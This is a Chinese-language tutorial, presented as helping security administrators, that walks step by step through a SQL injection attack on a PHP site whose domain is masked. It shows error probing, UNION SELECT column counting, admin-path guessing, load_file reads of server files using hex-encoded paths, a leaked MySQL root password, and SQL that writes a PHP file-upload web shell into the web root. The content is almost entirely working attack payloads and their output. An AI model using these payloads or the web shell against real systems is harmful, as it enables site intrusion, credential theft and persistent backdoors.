PHP入侵是一种黑客比较常用的入侵方式,PHP入侵的操作简单和效果初中是其广为流传的原因。今天我们就通过一次简单的PHP入侵来看一下PHP入侵的全过程,其目的是为了企业安全管理员能够洞悉PHP入侵技术,提高安全防护水平。
测试站点如下
http://www.******.com
找个踩点
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830
提交一个 '
返回结果
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154
路径出来了,继续安检.
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830'and 1=1 #
返回错误,不是字符型.
注明:%23是#
提交 and 1=1 返回正常
提交 and 1=2 返回不正常
接下来就是 union 语句
and 1=1 union select 1 返回不正常
and 1=1 union select 1,2 返回不正常
and 1=1 union select 1,2,3 返回不正常
and 1=1 union select 1,2,3,4 返回不正常
and 1=1 union select 1,2,3,4,5 返回不正常
and 1=1 union select 1,2,3,4,5,6 返回不正常
and 1=1 union select 1,2,3,4,5,6,7 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常
猜到 14 就正常了 继续PHP入侵的下一步.
一般这样的站点基本上后台是不可能那么容易让我们找到的..
还是先看看有没有再说吧..
猜猜常用的路径.
login.php
admin.php
admin_login.php
admin_index.php
admin/login.php
admin/admin.php
admin/admin_login.php
admin/admin_index.php
manage/index.php
manage/login.php
manage/admin_login.php
manage/admin_index.php
等等.有耐心的可以慢慢去猜.就算猜到了也没什么用.
我们还是用比较直接的方法吧.直接用 load_file 读取文件内容
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 变成 and 1=2
返回结果如下:
2
就在2的位置暴了我们需要的文件内容.
我们就从 /var/www/html/zhaobiao/zhaobiao_hy_show.php
直接用 load_fi
le('/var/www/html/zhaobiao/zhaobiao_hy_show.php')
前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 转换成 16 进制
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73
686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14
返回结果
- 0 or $regdate>mysql_result($query,0,'yxdate')){?>
- ",mysql_result($query,0,'sm'));?>
不要管这些,直接查看源文件找到了一个 inc.php 的文件 然后配合前面的路径
/var/www/html/inc.php
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14
暴一下 返回看不到内容 直接查看源文件
- <?
- $myconn=mysql_connect('localhost','root','www.******.comy0p5h1i0');
- mysql_select_db('mlk');
- ?>
Mysql 直接暴出来了..
下一步就是登陆 Mysql 然后插入自己准备好的小马..
- use mlk;
- create table mmxy (cmd TEXT);
- insert into mmxy values('<?php');
- insert into mmxy values('$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";');
- insert into mmxy values('echo $msg;');
- insert into mmxy values('?>');
- insert into mmxy values('<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">');
- insert into mmxy values('<input NAME="MyFile" TYPE="file">');
- insert into mmxy values('<input VALUE="Up" TYPE="submit"></form>');
- select * from mmxy into outfile '/var/www/html/zhaobiao/mmxy.php';
【编辑推荐】